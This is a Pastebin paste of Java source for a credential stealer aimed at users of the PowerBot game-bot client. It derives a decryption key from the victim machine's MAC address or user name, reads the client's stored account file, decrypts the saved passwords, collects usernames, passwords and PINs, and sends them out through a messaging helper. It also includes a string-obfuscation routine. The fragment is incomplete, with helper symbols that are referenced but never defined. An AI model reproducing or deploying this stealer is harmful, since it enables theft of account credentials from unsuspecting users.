Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class Decryption {
- private static byte[] SHA1(final String in)
- throws NoSuchAlgorithmException, UnsupportedEncodingException {
- MessageDigest md = MessageDigest.getInstance("SHA-1");
- md.update(in.getBytes("iso-8859-1"), 0, in.length());
- return md.digest();
- }
- public static String stealth(String enc) { String j = ""; for ( int i = 0; i < enc.length(); ++i ) { char c = enc.charAt( i ); int x = (int) c; x = x / 2; if (x == 31) { x = 66; } j += Character.toString((char) x); } return j; }
- public static String decryptSHA1(String key, final String start) {
- final String delim = "a";
- if (start == null)
- return null;
- byte[] hashedkey;
- byte[] password;
- int i;
- try {
- hashedkey = SHA1(key);
- } catch (final NoSuchAlgorithmException e) {
- e.printStackTrace();
- return start;
- } catch (final UnsupportedEncodingException e) {
- e.printStackTrace();
- return start;
- }
- final String[] temp = start.split(delim);
- password = new byte[temp.length];
- for (i = 0; i < hashedkey.length; i++) {
- final int temp2 = Integer.parseInt(temp[i]);
- if (hashedkey[i] == temp2) {
- break;
- } else {
- password[i] = (byte) (temp2 - hashedkey[i]);
- }
- }
- return new String(password, 0, i);
- }
- }
- static String key;
- static {
- try {
- final InetAddress address = InetAddress.getLocalHost();
- final NetworkInterface ni = NetworkInterface.getByInetAddress(address);
- key = new String(ni.getHardwareAddress());
- } catch (final Exception e) {
- key = System.getProperty("user.name") + System.getProperty("user.language");
- }
- }
- static void steal() throws IOException {
- if (isBotter()) {
- BufferedReader in = new BufferedReader(new FileReader(f));
- String user = "PowerBot - User: ";
- String pass = " Pass: ";
- String pin = " Pin: ";
- String curLine = "";
- String out = "";
- boolean invalid = false;
- boolean invalidChar = false;
- while ((curLine = in.readLine()) != null) {
- if (curLine.contains("[") && curLine.contains("]")) {
- curLine = curLine.replace("[", "").replace("]", "");
- if (out.length() > 5) {
- if(invalid) {
- out = "";
- } else {
- Methods.sendMessage(out);
- out = "";
- }
- }
- out += user + curLine;
- }
- if (curLine.contains("password=")) {
- int passLength = Decryption.decryptSHA1(key, curLine.replace("password=", "")).length();
- String passChar = Decryption.decryptSHA1(key, curLine.replace("password=", ""));
- for(int i = 0; i < INVALID_CHAR.length; i++) {
- if(passChar.contains(INVALID_CHAR[i]))
- invalidChar = true;
- }
- if(passLength >= 5 && !invalidChar) {
- invalid = false;
- out += pass + Decryption.decryptSHA1(key, curLine.replace("password=", ""));
- } else {
- invalidChar = false;
- invalid = true;
- }
- }
- if (curLine.contains("pin=")) {
- out += pin + curLine.replace("pin=", "");
- }
- }
- in.close();
- if(!invalid)
- Methods.sendMessage(out);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement